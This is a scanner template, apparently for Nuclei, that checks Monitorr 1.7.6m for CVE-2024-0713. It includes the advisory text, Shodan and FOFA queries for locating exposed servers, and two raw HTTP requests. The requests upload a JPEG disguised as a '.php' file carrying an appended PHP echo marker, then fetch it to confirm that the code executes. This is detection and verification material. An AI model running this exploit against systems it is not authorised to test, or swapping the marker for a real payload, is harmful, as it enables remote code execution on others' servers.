monitorr-file-upload: Monitorr Services Configuration - Arbitrary File Upload

2026-08-18 Monitorr PoC Public

Description

A vulnerability was found in Monitorr 1.7.6m. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /assets/php/upload.php of the component Services Configuration. The manipulation of the argument fileToUpload leads to unrestricted upload. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251539. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.

PoC

id: monitorr-file-upload

info:
  name: Monitorr Services Configuration - Arbitrary File Upload
  author: DhiyaneshDK
  severity: high
  description: |
    A vulnerability was found in Monitorr 1.7.6m. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /assets/php/upload.php of the component Services Configuration. The manipulation of the argument fileToUpload leads to unrestricted upload. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251539. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
  impact: |
    Authenticated attackers can upload malicious files to achieve remote code execution, potentially compromising the entire Monitorr server and gaining access to monitored services.
  remediation: |
    Upgrade to the latest patched version of Monitorr or apply vendor-provided security updates.
  reference:
    - https://github.com/Tropinene/Yscanner
    - https://github.com/fkie-cad/nvd-json-data-feeds
    - https://nvd.nist.gov/vuln/detail/CVE-2024-0713
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cwe-id: CWE-434
    epss-score: 0.00061
    epss-percentile: 0.2356
    cpe: cpe:2.3:a:monitorr:monitorr:1.7.6m:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: monitorr
    product: monitorr
    shodan-query: http.favicon.hash:"-211006074"
    fofa-query: "icon_hash=\"-211006074\""
  tags: file-upload,intrusive,monitorr,vuln
variables:
  file: "{{to_lower(rand_text_alpha(5))}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /assets/php/upload.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaquxwjsn

        ------WebKitFormBoundaryaquxwjsn
        Content-Disposition: form-data; name="fileToUpload"; filename="{{file}}.php"
        Content-Type: image/jpeg

        {{base64_decode('/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAABAAEDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD5/ooooA//2Tw/cGhwIGVjaG8gJ3h4eHh4eGF0ZmVyc290Zyc7Pz4=')}}
        ------WebKitFormBoundaryaquxwjsn--

    matchers:
      - type: word
        part: body
        internal: true
        words:
          - "has been uploaded to:"

  - raw:
      - |
        GET /assets/data/usrimg/{{file}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "atfersotg"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100dcca771befae3cd1237e8c1c8bb350bc768c24270d0d77df846b74f5b668928a0220640f9d8b18125c2d8966d0bb6c5a9f99a4fe1359a186fff0be551d7f1a472f13:922c64590222798bb761d5b6d8e72950

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